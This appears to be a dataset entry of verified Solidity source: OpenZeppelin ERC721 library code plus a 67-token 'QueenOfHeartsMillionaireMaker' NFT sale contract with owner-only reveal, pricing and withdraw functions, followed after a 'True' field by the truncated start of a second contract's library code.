function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract QueenOfHeartsMillionaireMaker is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 10.00 ether;
uint256 public maxSupply = 67;
uint256 public maxMintAmount = 1;
bool public paused = false;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner() {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
